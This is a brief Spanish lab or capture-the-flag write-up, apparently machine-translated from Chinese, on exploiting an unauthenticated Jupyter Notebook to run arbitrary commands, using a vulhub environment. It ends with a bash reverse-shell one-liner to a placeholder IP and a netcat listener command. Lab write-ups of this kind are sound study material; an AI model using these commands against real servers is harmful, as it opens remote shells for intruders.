1. Introducción
Jupyter Notebook (anteriormente llamado IPython notebook) es un cuaderno interactivo que admite la ejecución de más de 40 lenguajes de programación.
Si el administrador no configura una contraseña para Jupyter Notebook, se generará una vulnerabilidad de acceso no autorizada, donde los visitantes pueden crear una consola y ejecutar códigos y comandos arbitrarios de Python.
2. Reproduce el medio ambiente
Procedente de https://github.com/vulhub/vulhub/blob/master/jupyter/notebook-rce/ map para facilitar la reproducción directa con el entorno BUUCTF REAL
3. Uso
Cree una nueva ventana de terminal, hehe hey, directamente RCE
como se muestra a continuación
4. No siento nada que decir
Sobre el shell de rebote
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
Entonces solo escucha al otro lado
nc -lvp 8080（像这样）